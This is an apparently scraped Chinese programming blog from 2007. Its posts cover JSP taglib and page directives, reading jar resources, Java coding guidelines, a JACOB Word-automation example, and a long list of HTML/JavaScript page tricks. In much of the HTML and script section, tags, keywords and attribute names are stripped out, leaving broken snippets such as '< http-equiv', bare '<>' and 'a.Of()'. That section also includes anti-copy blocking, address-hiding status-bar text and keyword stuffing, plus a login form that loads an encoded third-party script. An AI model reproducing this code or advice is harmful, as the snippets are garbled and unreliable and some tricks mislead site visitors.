      这里自定义的标签含有标签和元素之分。因为JSP文件能够转化为XML,所以了解标签和元素之间的联系很重要。标签只不过是一个在意义上被抬高了点的标记,是JSP元素的一部分。JSP元素是JSP语法的一部分,和XML一样有开始标记和结束标记。元素也可以包含其它的文本、标记、元素。比如,一个jsp:plugin元素有jsp:plugin开始标记和/jsp:plugin结束标记,同样也可以有jsp:params和jsp:fallback元素。
      
      你必须在使用自定义标签之前使用% @ taglib %指令,而且你可以在一个页面中多次使用,但是前缀只能使用一次。
      
      属性
      
      uri="URIToTagLibrary"
      
      Uniform Resource Identifier (URI)根据标签的前缀对自定义的标签进行惟一的命名,URI可以是以下的内容:
      
      Uniform Resource Locator(URL),由RFC 2396定义,查看http://www.hut.fi/u/jkorpela/rfc/2396/full.html
      
      Uniform Resource Name(URN),由RFC 2396定义。
      
      一个相对或绝对的路径
      
      prefix="tagPrefix"
      
      在自定义标签之前的前缀,比如,在中的public,如果这里不写public,那么这就是不合法的。请不要用jsp、jspx、java、javax、servlet、sun和sunw做你的前缀。
    posted @ 2007-05-31 00:34 jadmin 阅读(144) | 评论 (0)编辑 收藏
            在JSP文件中,你可以通过命令定义整个JSP页面的属性,通过这个命令定义的属性会在本JSP文件中和包含近来的静态JSP页面起作用,但不会对动态包含文件起作用的。此命令的语法比较复杂一些,下面就是语法定义:
      
      下面是使用Page命令的几个小例子:
        
      通过Page命令,你可以为整个JSP页面定义上面提到的全局属性,其中除了"import"之外,其他的都只能引用一次,import属性和Java语言中的import非常相似,你可以在JSP页面中多次使用他。
      关于的位置你可以不去考虑,放在任何地方,他都可以很好的工作,但出于良好的编程习惯,最好还是将他放在JSP页面的顶部。
      好,下面我们就语法中提到的各种属性进行一一讲解:
      language="java"
      说明在你的JSP文件中使用的脚本语言,目前只能使用java。
      extends="package.class"
      声明在你的JSP页面中将要使用的Java超级类的名称,但使用的时候应该谨慎,因为使用他会限制JSP页面的编译能力。
      import="{package.class | package.* }, ..."
      使用这个属性,你可以将Java包包含到你的JSP页面中。如果你要包含多个包的话,将这些包的名称用逗号隔开放在一个import中,或者使用多个import分别声明。
      下面一些Java包,是默认包含的,你不用再在你的JSP页面中,显式声明他们了:
      java.lang.*
      javax.servlet.*
      javax.servlet.jsp.*
      javax.servlet.http.*
      最后,你一定要注意在你的JSP文件中,在你使用某个包含在某个Java包中的元素之前一定要先声明该包的import引用。
      session="true|false"
      定义是否在客户浏览你的JSP页面的时候要使用HTTP的session。如果值为true,则可以使用session对象;如果值为false,则不能使用session对象或定义了scope=session的元素了。否则会出错。默认值为true。
      buffer="none|8kb|sizekb"
      为out对象指定发送信息到客户端浏览器的信息缓存大小。以kilobyte为单位。默认值是8kb.你也可以自行指定缓存的大小。
      autoFlush="true|false"
      指定是否当缓存填满时自动刷新,输出缓存中的内容。如果为true,则自动刷新。否则,当缓存填满后,可能会出现严重的错误。当你把buffer设置为none时,你就不能将buffer设置为false。
      isThreadSafe="true|false"
      指定JSP页面是否支持多线程访问。默认值是ture,表示可以同时处理多个客户请求,但是你应该在JSP页面中添加处理多线程的同步控制代码。如果设置为false,JSP页面在一个时刻就只能响应一个请求。
      info="text"
      指定一段字符,并插入到JSP文件中,并可以通过Servlet.getServletInfo()方法得到。
      errorPage="relativeURL"
      设置处理异常事件的JSP文件的位置。
      isErrorPage="true|false"
      设置是否显示错误信息。如果为true,你可以看到出错信息,如果为false,你就看不到了。
      contentType="mimeType [; charset=characterSet ]" | "text/html;charset=ISO-8859-1"
      指定JSP页面发送到客户端的信息使用的MIME类型和字符编码类型。默认的MIME类型是text/html,默认的字符集是ISO-8859-1。
      最后,如果在你的多个JSP页面中都要使用来定义全局属性的话,你可以将此命令单独在一个JSP页面中进行定义,然后在所有使用此命令的页面中包含进去就可以了。
    posted @ 2007-05-31 00:33 jadmin 阅读(70) | 评论 (0)编辑 收藏
    在Java的程序发布中,很多人会选择采用二进制的jar的格式进行发布,怎么样读取Jar里面的资源呢?
    主要是采用ClassLoader的下面几个方法来实现:
    public URL getResource(String name);
    public InputStream getResourceAsStream(String name)

    public static InputStream getSystemResourceAsStream(String name)
    public static URL getSystemResource(String name)

    后两个方法可以看出是静态的方法,这几个方法都可以从Jar中读取图片资源,但是对与动画的gif文件,笔者在尝试过程中发现,存在一些差异。

    String gifName为Gif文件在Jar中的相对路径。
    (1)使用了两个静态方法
    BufferedImage image=ImageIO.read(ClassLoader.getSystemResourceAsStream(gifName));

    或者

    Image image=Toolkit.getDefaultToolkit().getImage(ClassLoader.getSystemResource(gifName));

    这两种方式可以成功地读取gif文件,但是对于gif动画,显示出来地是静态的。

    (2)使用其他两个方法
    Image image=Toolkit.getDefaultToolkit().getImage(this.getClass.getClassLoader().getResource(gifName));

    再这种方式下动画可以正常显示了。
    posted @ 2007-05-30 21:19 jadmin 阅读(50) | 评论 (0)编辑 收藏
    (1) 类名首字母应该大写。字段、方法以及对象(句柄)的首字母应小写。对于所有标识符,其中包含的所有单词都应紧靠在一起,而且大写中间单词的首字母。例如:

    ThisIsAClassName

    thisIsMethodOrFieldName

    若在定义中出现了常数初始化字符,则大写static final基本类型标识符中的所有字母。这样便可标志出它们属于编译期的常数。

    Java包(Package)属于一种特殊情况:它们全都是小写字母,即便中间的单词亦是如此。对于域名扩展名称,如com,org,net或者edu等,全部都应小写(这也是Java 1.1和Java 1.2的区别之一)。

    (2) 为了常规用途而创建一个类时,请采取“经典形式”,并包含对下述元素的定义:

    equals()

    hashCode()

    toString()

    clone()(implement Cloneable)

    implement Serializable

    (3) 对于自己创建的每一个类,都考虑置入一个main(),其中包含了用于测试那个类的代码。为使用一个项目中的类,我们没必要删除测试代码。若进行了任何形式的改动,可方便地返回测试。这些代码也可作为如何使用类的一个示例使用。

    (4) 应将方法设计成简要的、功能性单元,用它描述和实现一个不连续的类接口部分。理想情况下,方法应简明扼要。若长度很大,可考虑通过某种方式将其分割成较短的几个方法。这样做也便于类内代码的重复使用(有些时候,方法必须非常大,但它们仍应只做同样的一件事情)。

    (5) 设计一个类时,请设身处地为客户程序员考虑一下(类的使用方法应该是非常明确的)。然后,再设身处地为管理代码的人考虑一下(预计有可能进行哪些形式的修改,想想用什么方法可把它们变得更简单)。

    (6) 使类尽可能短小精悍,而且只解决一个特定的问题。下面是对类设计的一些建议:

    ■一个复杂的开关语句:考虑采用“多形”机制

    ■数量众多的方法涉及到类型差别极大的操作:考虑用几个类来分别实现

    ■许多成员变量在特征上有很大的差别:考虑使用几个类

    (7) 让一切东西都尽可能地“私有”??private。可使库的某一部分“公共化”(一个方法、类或者一个字段等等),就永远不能把它拿出。若强行拿出,就可能破坏其他人现有的代码,使他们不得不重新编写和设计。若只公布自己必须公布的,就可放心大胆地改变其他任何东西。在多线程环境中,隐私是特别重要的一个因素??只有private字段才能在非同步使用的情况下受到保护。

    (9) 若不得已进行一些不太雅观的编程,至少应该把那些代码置于一个类的内部。

    (10) 任何时候只要发现类与类之间结合得非常紧密,就需要考虑是否采用内部类,从而改善编码及维护工作。

    (11) 尽可能细致地加上注释,并用javadoc注释文档语法生成自己的程序文档。

    (12) 避免使用“魔术数字”,这些数字很难与代码很好地配合。如以后需要修改它,无疑会成为一场噩梦,因为根本不知道“100”到底是指“数组大小”还是“其他全然不同的东西”。所以,我们应创建一个常数,并为其使用具有说服力的描述性名称,并在整个程序中都采用常数标识符。这样可使程序更易理解以及更易维护。

    (13) 涉及构建器和异常的时候,通常希望重新丢弃在构建器中捕获的任何异常??如果它造成了那个对象的创建失败。这样一来,调用者就不会以为那个对象已正确地创建,从而盲目地继续。

    (14) 当客户程序员用完对象以后,若你的类要求进行任何清除工作,可考虑将清除代码置于一个良好定义的方法里,采用类似于cleanup()这样的名字,明确表明自己的用途。除此以外,可在类内放置一个boolean(布尔)标记,指出对象是否已被清除。在类的finalize()方法里,请确定对象已被清除,并已丢弃了从RuntimeException继承的一个类(如果还没有的话),从而指出一个编程错误。在采取象这样的方案之前,请确定finalize ()能够在自己的系统中工作(可能需要调用System.runFinalizersOnExit(true),从而确保这一行为)。

    (15) 在一个特定的作用域内,若一个对象必须清除(非由垃圾收集机制处理),请采用下述方法:初始化对象;若成功,则立即进入一个含有finally从句的try块,开始清除工作。

    (16) 若在初始化过程中需要覆盖(取消)finalize(),请记住调用super.finalize()(若Object属于我们的直接超类,则无此必要)。在对finalize()进行覆盖的过程中,对super.finalize()的调用应属于最后一个行动,而不应是第一个行动,这样可确保在需要基础类组件的时候它们依然有效。

    (17) 创建大小固定的对象集合时,请将它们传输至一个数组(若准备从一个方法里返回这个集合,更应如此操作)。这样一来,我们就可享受到数组在编译期进行类型检查的好处。此外,为使用它们,数组的接收者也许并不需要将对象“造型”到数组里。

    (18) 尽量使用interfaces,不要使用abstract类。若已知某样东西准备成为一个基础类,那么第一个选择应是将其变成一个interface(接口)。只有在不得不使用方法定义或者成员变量的时候,才需要将其变成一个abstract(抽象)类。接口主要描述了客户希望做什么事情,而一个类则致力于(或允许)具体的实施细节。

    (19) 在构建器内部,只进行那些将对象设为正确状态所需的工作。尽可能地避免调用其他方法,因为那些方法可能被其他人覆盖或取消,从而在构建过程中产生不可预知的结果(参见第7章的详细说明)。

    (20) 对象不应只是简单地容纳一些数据;它们的行为也应得到良好的定义。

    (21) 在现成类的基础上创建新类时,请首先选择“新建”或“创作”。只有自己的设计要求必须继承时,才应考虑这方面的问题。若在本来允许新建的场合使用了继承,则整个设计会变得没有必要地复杂。

    (22) 用继承及方法覆盖来表示行为间的差异,而用字段表示状态间的区别。一个非常极端的例子是通过对不同类的继承来表示颜色,这是绝对应该避免的:应直接使用一个“颜色”字段。

    (23) 为避免编程时遇到麻烦,请保证在自己类路径指到的任何地方,每个名字都仅对应一个类。否则,编译器可能先找到同名的另一个类,并报告出错消息。若怀疑自己碰到了类路径问题,请试试在类路径的每一个起点,搜索一下同名的.class文件。

    (24) 在Java 1.1 AWT中使用事件“适配器”时,特别容易碰到一个陷阱。若覆盖了某个适配器方法,同时拼写方法没有特别讲究,最后的结果就是新添加一个方法,而不是覆盖现成方法。然而,由于这样做是完全合法的,所以不会从编译器或运行期系统获得任何出错提示??只不过代码的工作就变得不正常了。

    (25) 用合理的设计方案消除“伪功能”。也就是说,假若只需要创建类的一个对象,就不要提前限制自己使用应用程序,并加上一条“只生成其中一个”注释。请考虑将其封装成一个“独生子”的形式。若在主程序里有大量散乱的代码,用于创建自己的对象,请考虑采纳一种创造性的方案,将些代码封装起来。

    (26) 警惕“分析瘫痪”。请记住,无论如何都要提前了解整个项目的状况,再去考察其中的细节。由于把握了全局,可快速认识自己未知的一些因素,防止在考察细节的时候陷入“死逻辑”中。

    (27) 警惕“过早优化”。首先让它运行起来,再考虑变得更快??但只有在自己必须这样做、而且经证实在某部分代码中的确存在一个性能瓶颈的时候,才应进行优化。除非用专门的工具分析瓶颈,否则很有可能是在浪费自己的时间。性能提升的隐含代价是自己的代码变得难于理解,而且难于维护。

    (28) 请记住,阅读代码的时间比写代码的时间多得多。思路清晰的设计可获得易于理解的程序,但注释、细致的解释以及一些示例往往具有不可估量的价值。无论对你自己,还是对后来的人,它们都是相当重要的。如对此仍有怀疑,那么请试想自己试图从联机Java文档里找出有用信息时碰到的挫折,这样或许能将你说服。

    (29) 如认为自己已进行了良好的分析、设计或者实施,那么请稍微更换一下思维角度。试试邀请一些外来人士??并不一定是专家,但可以是来自本公司其他部门的人。请他们用完全新鲜的眼光考察你的工作,看看是否能找出你一度熟视无睹的问题。采取这种方式,往往能在最适合修改的阶段找出一些关键性的问题,避免产品发行后再解决问题而造成的金钱及精力方面的损失。

    (30) 良好的设计能带来最大的回报。简言之,对于一个特定的问题,通常会花较长的时间才能找到一种最恰当的解决方案。但一旦找到了正确的方法,以后的工作就轻松多了,再也不用经历数小时、数天或者数月的痛苦挣扎。我们的努力工作会带来最大的回报(甚至无可估量)。
    posted @ 2007-05-30 21:13 jadmin 阅读(55) | 评论 (0)编辑 收藏

      参考:

      http://danadler.com/jacob/
      http://jakarta.apache.org/poi/
      http://www.onjava.com/pub/a/onjava/2003/01/22/poi.html
      http://www.csdn.net/develop/article/15/15311.shtm
      http://forum.java.sun.com/thread.jsp?forum=40&thread=382666&tstart=0&trange=15

      Java Excel API 文档

      http://www.andykhan.com/jexcelapi/

      1、一个jacob操作Word的例子,其他操作excel,pdf的sample里都有

      import java.io.File;
      import com.jacob.com.*;
      import com.jacob.activeX.*;
      public class WordTest {
      
       public static void main(String[] args) {
         WordBean word=new WordBean();
         word.openWord(true);
         word.createNewDocument();
         word.insertText("Hello word.");
       }
      }

      import com.jacob.activeX.*;
      import com.jacob.com.*;
      public class WordBean extends java.awt.Panel
      {
       private ActiveXComponent MsWordApp = null;
       private Dispatch document = null;
       public WordBean()
       {
         super();
       }
       public void openWord(boolean makeVisible)
       {
      //Open Word if we've not done it already
         if (MsWordApp == null)
         {
           MsWordApp = new ActiveXComponent("Word.Application");
         }
      //Set the visible property as required.
         Dispatch.put(MsWordApp, "Visible",
                new Variant(makeVisible));
       }
       public void createNewDocument()
       {
      //Find the Documents collection object maintained by Word
         Dispatch documents =
             Dispatch.get(MsWordApp,"Documents").toDispatch();
      //Call the Add method of the Documents collection to create
      //a new document to edit
         document = Dispatch.call(documents,"Add").toDispatch();
       }
       public void insertText(String textToInsert)
       {
      // Get the current selection within Word at the moment. If
      // a new document has just been created then this will be at
      // the top of the new doc
         Dispatch selection =
             Dispatch.get(MsWordApp,"Selection").toDispatch();
      //Put the specified text at the insertion point
         Dispatch.put(selection,"Text",textToInsert);
       }
       public void saveFileAs(String filename)
       {
         Dispatch.call(document,"SaveAs",filename);
       }
       public void printFile()
       {
      //Just print the current document to the default printer
         Dispatch.call(document,"PrintOut");
       }
       public void closeDocument()
       {
      // Close the document without saving changes
      // 0 = wdDoNotSaveChanges
      // -1 = wdSaveChanges
      // -2 = wdPromptToSaveChanges
         Dispatch.call(document, "Close", new Variant(0));
         document = null;
       }
       public void closeWord()
       {
         Dispatch.call(MsWordApp,"Quit");
         MsWordApp = null;
         document = null;
       }
      }

    posted @ 2007-05-30 01:10 jadmin 阅读(68) | 评论 (0)编辑 收藏

    代码如下:

    a.html如下:

    <HTML><HEAD><TITLE></TITLE>
    < http-equiv=Content-Type content="text/html; charset=utf-8">
    </HEAD>
    <BODY style="BACKGROUND-COLOR: transparent">
    <H1>透明文档</H1>
    <P>此I无背景颜色</P>
    <P>BODY:<br><BODY STYLE="background-color:transparent"></P></BODY></HTML>

    b.html如下:

    <HTML><HEAD><TITLE></TITLE>
    < http-equiv=Content-Type content="text/html; charset=utf-8">
    </HEAD>
    <BODY style="BACKGROUND-COLOR: transparent">
    <H1>透明文档</H1>
    <P>此I 设为绿色。</P>
    <P>BODY: <br><BODY STYLE="background-color:transparent"></P></BODY></HTML>

    如果a.html透明的,它将继承I的背景颜色 如果容器I也是透明的,a.html将继承I的父容器的颜色,如果一个对象不透明,它将覆盖其容器的颜色,默认是透明的。

    Internet Explorer 5.5 以上版本允许你设置透明属性,通过设置是否可被透明,你可以改变背景的颜色。[在不设置透明属性的情况下,默认背景颜色为白色]

    I定义如下:

    <I ID="1" src="/a.html" allowTransparency="true" HEIGHT=180 WIDTH=300> </I> <I ID="2" src="/b.html" allowTransparency="true" STYLE="background-color:#459800" HEIGHT=180 WIDTH=300> </I>

    按钮定义如下:

    <INPUT TYPE="button" ="不透明" ="turnTransparencyOff()"> <INPUT TYPE="button" ="透明" ="turnTransparencyOn()">

    <>
    //函数turnTransparencyOff():

    turnTransparencyOff()
    { all.1.allowTransparency = false; all.2.allowTransparency = false; }

    //函数turnTransparencyOn():

    turnTransparencyOn()
    { all.1.allowTransparency = true; all.2.allowTransparency = true; }
    </>

    posted @ 2007-05-30 01:01 jadmin 阅读(58) | 评论 (0)编辑 收藏
    <language=java>
    ie = (all)? true:false
    if (ie){
    ctlent(eventobject){if(event.ctrlKey && event.keyCode==13){this.form1.submit();}}
    }
    </>

    <form action="index.html" method=POST name=form1>
    <textarea cols=95 name=Content rows=12 wrap=virtual down=ctlent()>
    Ctrl+Enter提交内容信息
    </textarea>
    <input type=Submit ="Submit" name=Submit>
    </form>

    posted @ 2007-05-30 00:57 jadmin 阅读(55) | 评论 (0)编辑 收藏

    41.细线分隔线
    <hr noshade size=0 color=#C0C0C0>

    42.过度方式
    < http-equiv="Page-Exit" content="revealTrans(Duration=3,Transition=5)">
    Duration的值为网页动态过渡的时间,单位为秒。
    Transition是过渡方式,它的值为0到23,分别对应24种过渡方式。如下表:
    0 盒状收缩 1 盒状放射
    2 圆形收缩 3 圆形放射
    4 由下往上 5 由上往下
    6 从左至右 7 从右至左
    8 垂直百叶窗 9 水平百叶窗
    10 水平格状百叶窗 11垂直格状百叶窗
    12 随意溶解 13从左右两端向中间展开
    14从中间向左右两端展开 15从上下两端向中间展开
    16从中间向上下两端展开 17 从右上角向左下角展开
    18 从右下角向左上角展开 19 从左上角向右下角展开
    20 从左下角向右上角展开 21 水平线状展开
    22 垂直线状展开 23 随机产生一种过渡方式

    43.如何控制横向和纵向滚动条的显隐?
    <body style="overflow-y:hidden"> 去掉x轴
    <body style="overflow-x:hidden"> 去掉y轴
    <body scroll="no">不显

    44.怎样在 FrontPage2000 中加入 Flash 动画?
    在 FrontPage2000 中,点击[插入]->[高级]->[插件],在弹出的窗口中,设置一下 Flash 文件的大小及其它信息,确定即可。

    45.加入注释的格式是:    
    〈!-[注释内容…]--〉

    46.怎样在网页中加入 E-mail 链接并显示预定的主题?
    〈A href="mailto:itren@itren.cn?subject=主题"〉……〈/a〉

    47.定义本网页关键字,
    可以在〈Head〉〈/Head〉中加入如下代码:  
    〈 name="Keywords" content="E代时光"〉   
    Content 中所包含的就是关键字,你可以自行设置。   
    这里有个技巧,你可以重复某一个单词,这样可以提高自己网站的排行位置,如:
    〈 name="Keywords" content="E代时光"〉

    48.IE5.0 的部分快捷键:
    A:打开查找功能:Ctrl+F
    关闭浏览器窗口:Ctrl+W
    打开地址栏下拉列表框:F4
    刷 新:F5
    将当前Web页保存到收藏夹列表:Ctrl+D
    打开当前 IE 窗口的一个拷贝:Ctrl+N
    停止下载当前网页:Esc
    光标迅速移动到网页的开头:Home
    光标迅速移动到网页的尾部:End
    打开新的地址键入窗口:Ctrl+O
    打开收藏夹:Ctrl+I
    打开历史记录文件夹:Ctrl+H
    打开浏览器设定的默认主页:Alt+HOME

    49.添加到收藏夹:
    〈a href="java :external.addFavorite(http://www.itren.cn ,www.itren.cn);"〉添加到收藏夹〈/a〉

    50.设为首页:
    〈a href=# =this.style.behavior=url(#default#homepage);this.setHomePage(http://www.itren.cn); 〉设为首页〈/a〉

    51.定制浏览器地址栏前的小图标:
    A:在网页的〈head〉〈/head〉间加入以下语句:
    〈link rel="shortcuticon" href="http://…/icon.ico"〉
    即可。其中 icon.ico 为 16x16 的图标文件,颜色不要超过 16 色。

    52.把滚动条放在浏览器窗口的左边
    A:在 <body> 中加 dir=RTL,即 <body dir=RTL>

    53.页面全部保护
    <>
    <!--
    //加入页面保护
    rf()
    {return false; }
    oncontextmenu = rf
    keydown()
    {if(event.ctrlKey ==true || event.keyCode ==93 || event.shiftKey ==true){return false;} }
    down =keydown
    drag()
    {return false;}
    ondragstart=drag
    stopmouse(e) {
    if (navigator.appName == Netscape && (e.which == 3 || e.which == 2))
    return false;
    else if
    (navigator.appName == Microsoft Internet Explorer && (event.button == 2 || event.button == 3)) {
    alert("IT人带给你的是最好的东西");
    return false;
    }
    return true;
    }
    down=stopmouse;
    if (layers)
    captureEvents(Event.MOUSEDOWN);
    down=stopmouse;
    //-->
    </>

    54.状态栏的特效,可以很好的屏蔽显示的地址
    < language=java>kstatus();
    e3i5(){
    self.status="※※欢迎来到【IT人】※※★☆赶快把http://www.itren.cn 告诉给你的朋友吧★☆※※";
    setTimeout("e3i5()",0);
    }</>

    55.防刷新代码
    <%
    Dim URL
    If DateDiff("s",Request.s("oesun")("vitistime"),Now())<2 Then
    URL=Request.ServerVariables("Http_REFERER")
    Response.Write("< http-equiv=""refresh"" content=""2;URL="&URL&""">")
    Response.Write("防刷新,两秒后自动跳转...")
    Response.End
    End IF
    Response.s("oesun")("vitistime")=Now()
    %>

    56. oncontextmenu="event.return=false" 将彻底屏蔽鼠标右键
    <table border oncontextmenu=return(false)><td>no</table> 可用于Table

    57. <body onselectstart="return false"> 取消选取、防止复制

    58. onpaste="return false" 不准粘贴

    59. oncopy="return false;" oncut="return false;" 防止复制

    60. <link rel="Shortcut Icon" href="favicon.ico"> IE地址栏前换成自己的图标

    61. <link rel="Bookmark" href="favicon.ico"> 可以在收藏夹中显示出你的图标

    62. <input style="ime-mode:disabled"> 关闭输入法

    63. 永远都会带着框架
    < language="Java"><!--
    if (window == top)top.location.href = "s.htm"; //s.htm为框架网页
    // --></>

    64. 防止被人
    < LANGUAGE=JAVA><!--
    if (top.location != self.location)top.location=self.location;
    // --></>

    65. 网页将不能被另存为
    <no><i src="/*.html>";</i></no>

    66. <input type=button =查看网页源代码
    ="location = view-source:+ http://www.51js.com/">

    67.删除时确认
    <a href="/java" :if(confirm("确实要删除吗?"))location="boos.asp?&areyou=删除&page=1">删
    除</a>

    68. 取得控件的绝对位置
    //Java
    < language="Java">
    getIE(e){
    var t=e.offsetTop;
    var l=e.offsetLeft;
    while(e=e.offsetParent){
    t+=e.offsetTop;
    l+=e.offsetLeft;
    }
    alert("top="+t+"/nleft="+l);
    }
    </>
    //VB
    < language="VB"><!--
    getIE()
    dim t,l,a,b
    set a=all.img1
    t=all.img1.offsetTop
    l=all.img1.offsetLeft
    while a.tagName<>"BODY"
    set a = a.offsetParent
    t=t+a.offsetTop
    l=l+a.offsetLeft
    wend
    msgbox "top="&t&chr(13)&"left="&l,64,"得到控件的位置"
    end
    --></>

    69. 光标是停在文本框文字的最后
    < language="java">
    cc()
    {
    var e = event.srcElement;
    var r =e.createTextRange();
    r.moveStart(character,e..length);
    r.collapse(true);
    r.select();
    }
    </>
    <input type=text name=text1 ="123" ="cc()">

    70. 判断上一页的来源
    java :
    referrer

    71. 最小化、最大化、关闭窗口
    <object id=hh1 classid="clsid:ADB880A6-D8FF-11CF-9377-00AA003B7A11">
    <param name="Command" ="Minimize"></object>
    <object id=hh2 classid="clsid:ADB880A6-D8FF-11CF-9377-00AA003B7A11">
    <param name="Command" ="Maximize"></object>
    <OBJECT id=hh3 classid="clsid:adb880a6-d8ff-11cf-9377-00aa003b7a11">
    <PARAM NAME="Command" ="Close"></OBJECT>
    <input type=button =最小化 =hh1.Click()>
    <input type=button =最大化 =hh2.Click()>
    <input type=button =关闭 =hh3.Click()>
    本例适用于IE

    72.屏蔽功能键Shift,Alt,Ctrl
    <>
    look(){
    if(event.shiftKey)
    alert("禁止按Shift键!"); //可以换成ALT CTRL
    }
    down=look;
    </>

    73. 网页不会被缓存
    < HTTP-EQUIV="pragma" CONTENT="no-cache">
    < HTTP-EQUIV="Cache-Control" CONTENT="no-cache, must-revalidate">
    < HTTP-EQUIV="expires" CONTENT="Wed, 26 Feb 1997 08:21:57 GMT">
    或者< HTTP-EQUIV="expires" CONTENT="0">

    74.怎样让表单没有凹凸感?
    <input type=text style="border:1 solid #000000">

    <input type=text style="border-left:none; border-right:none; border-top:none; border-bottom:
    1 solid #000000"></textarea>

    75.<div><span>&<layer>的区别?
    <div>(division)用来定义大段的页面元素,会产生转行
    <span>用来定义同一行内的元素,跟<div>的唯一区别是不产生转行
    <layer>是ns的标记,ie不支持,相当于<div>

    76.让弹出窗口总是在最上面:
    <body ="this.focus();">

    77.不要滚动条?
    让竖条没有:
    <body style=overflow:scroll;overflow-y:hidden>
    </body>
    让横条没有:
    <body style=overflow:scroll;overflow-x:hidden>
    </body>
    两个都去掉?更简单了
    <body scroll="no">
    </body>

    78.怎样去掉图片链接点击后,图片周围的虚线?
    <a href="#" ="this.blur()"><img src="/logo.jpg" border=0></a>

    79.电子邮件处理提交表单
    <form name="form1" method="post" action="mailto:****@***.com" enctype="text/plain">
    <input type=submit>
    </form>

    80.在打开的子窗口刷新父窗口的代码里如何写?
    opener.location.reload()

    81.如何设定打开页面的大小
    <body ="top.resizeTo(300,200);">
    打开页面的位置<body ="top.moveBy(300,200);">

    82.在页面中如何加入不是满铺的背景图片,拉动页面时背景图不动
    <STYLE>
    body
    {background-image:url(/logo.gif); background-repeat:no-repeat;
    background-position:center;background-attachment: fixed}
    </STYLE>

    83. 检查一段字符串是否全由数字组成
    < language="Java"><!--
    checkNum(str){return str.match(//D/)==null}
    alert(checkNum("1232142141"))
    alert(checkNum("123214214a1"))
    // --></>

    84. 获得一个窗口的大小
    body.clientWidth; body.clientHeight

    85. 怎么判断是否是字符
    if (/[^/x00-/xff]/g.test(s)) alert("含有汉字");
    else alert("全是字符");

    86.TEXTAREA自适应文字行数的多少
    <textarea rows=1 name=s1 cols=27 onpropertychange="this.style.posHeight=this.scrollHeight">
    </textarea>

    87. 日期减去天数等于第二个日期
    < language=Java>
    cc(dd,dadd)
    {
    //可以加上错误处理
    var a = new Date(dd)
    a = a.Of()
    a = a - dadd * 24 * 60 * 60 * 1000
    a = new Date(a)
    alert(a.getFullYear() + "年" + (a.getMonth() + 1) + "月" + a.getDate() + "日")
    }
    cc("12/23/2002",2)
    </>

    88. 选择了哪一个Radio
    <HTML>< language="vb">
    checkme()
    for each ob in radio1
    if ob.checked then alert ob.
    next
    end
    </><BODY>
    <INPUT name="radio1" type="radio" ="style" checked>Style
    <INPUT name="radio1" type="radio" ="barcode">Barcode
    <INPUT type="button" ="check" ="checkme()">
    </BODY></HTML>

    89.脚本永不出错
    < LANGUAGE="Java">
    <!-- Hide
    killErrors() {
    return true;
    }
    = killErrors;
    // -->
    </>

    90.ENTER键可以让光标移到下一个输入框
    <input down="if(event.keyCode==13)event.keyCode=9">

    91. 检测某个网站的链接速度:
    把如下代码加入<body>区域中:
    < language=Java>
    tim=1
    setInterval("tim++",100)
    b=1
    var autourl=new Array()
    autourl[1]=www.itren.cn
    autourl[2]="www.life365.net"
    autourl[3]="www.sina.com.cn"
    autourl[4]=www.ebb365.com
    autourl[5]="www.chuangzh.com"
    butt(){
    write("<form name=autof>")
    for(var i=1;i<autourl.length;i++)
    write("<input type=text name=txt"+i+" size=10 =测试中……> =》<input type=text
    name=url"+i+" size=40> =》<input type=button =GO
    =open(this.form.url"+i+".)><br>")
    write("<input type=submit =刷新></form>")
    }
    butt()
    auto(url){
    forms[0]["url"+b].=url
    if(tim>200)
    {forms[0]["txt"+b].="链接超时"}
    else
    {forms[0]["txt"+b].="时间"+tim/10+"秒"}
    b++
    }
    run(){for(var i=1;i<autourl.length;i++)write("<img
    src=http://"+autourl+"/"+Math.random()+" width=1 height=1
    =auto(http://"+autourl+")>") }
    run()</>

    92. 各种样式的光标
    auto :标准光标 default :标准箭头 hand :手形光标 wait :等待光标 text :I形光标 vertical-text :水平I形光标 no-drop :不可拖动光标 not-allowed :无效光标 help :?帮助光标 all-scroll :三角方向标 move :移动标 crosshair :十字标 e-resize n-resize nw-resize w-resize s-resize se-resize sw-resize

    93.页面进入和退出的特效
    进入页面< http-equiv="Page-Enter" content="revealTrans(duration=x, transition=y)">
    推出页面< http-equiv="Page-Exit" content="revealTrans(duration=x, transition=y)">
    这个是页面被载入和调出时的一些特效。duration表示特效的持续时间,以秒为单位。transition表示使用哪种特效,取值为1-23:
      0 矩形缩小 1 矩形扩大 2 圆形缩小 3 圆形扩大 4 下到上刷新 5 上到下刷新 6 左到右刷新 7 右到左刷新 8 竖百叶窗 9 横百叶窗 10 错位横百叶窗 11 错位竖百叶窗 12 点扩散 13 左右到中间刷新 14 中间到左右刷新 15 中间到上下 16 上下到中间 17 右下到左上 18 右上到左下 19 左上到右下 20 左下到右上 21 横条 22 竖条 23 以上22种随机选择一种

    94.在规定时间内跳转
    < http-equiv=V="REFRESH" content="5;URL=http://www.51js.com">

    95.网页是否被检索
    < name="ROBOTS" content="属性值">
      其中属性值有以下一些:
      属性值为"all": 文件将被检索,且页上链接可被查询;
      属性值为"none": 文件不被检索,而且不查询页上的链接;
      属性值为"index": 文件将被检索;
      属性值为"follow": 查询页上的链接;
      属性值为"noindex": 文件不检索,但可被查询链接;
      属性值为"nofollow": 文件不被检索,但可查询页上的链接。

    96.flash播放器代码:
    < language="Java" src="http://w2.k688.com/flashmtv/free/1 ... </>(嵌入式)
    < language="Java" src="http://w2.k688.com/flashmtv/free/2 ... </>(弹出式)
    < language="Java" src="http://w2.k688.com/flashmtv/free/3 ... </>(按钮式)

    97.多邮箱登陆代码:
    <TABLE width="760" height="1" style=font-size:9pt;TEXT-DECORATION:none; border=0 align=center cellPadding=0 cellSpacing=0 bordercolor="#111111" >
    <FORM name=mailForm onsubmit="return check(this)" method=post>
    <TBODY><TR> <TD width="78%" height=26 align=left bgcolor="#3DB836">
    <div align="center"><STRONG><a href="http://www.k688.com/"style=font-size:9pt;TEXT-DEC ... 00CCtarget="_blank"> 邮箱快速登陆→</a></STRONG> <font style=font-size:9pt;>帐号</font>
    < language=j.encode src="http://w1.k688.com/free/xjlmail.js"></>
    <input style="BORDER-RIGHT: #cccccc 1px solid; BORDER-TOP: #cccccc 1px solid; BORDER-LEFT: #cccccc 1px solid; BORDER-BOTTOM: #cccccc 1px solid" ="this.=;" size=16 =用户名 name=name>
    <font style=font-size:9pt;>信箱:</font>
    <select tabindex=2 size=1 name=mailSelect>
    <option selected>请选择您的邮局</option>
    <option =http://mail.sina.com.cn/cgi-bin/login.cgi;u;psw>@sina.com</option>
    <option =http://vip.sina.com/cgi-bin/login.cgi;user;pass>@vip.sina.com</option>
    <option =http://bjweb.163.net/cgi/163/login_pro.cgi;user;pass>@163.net</option>
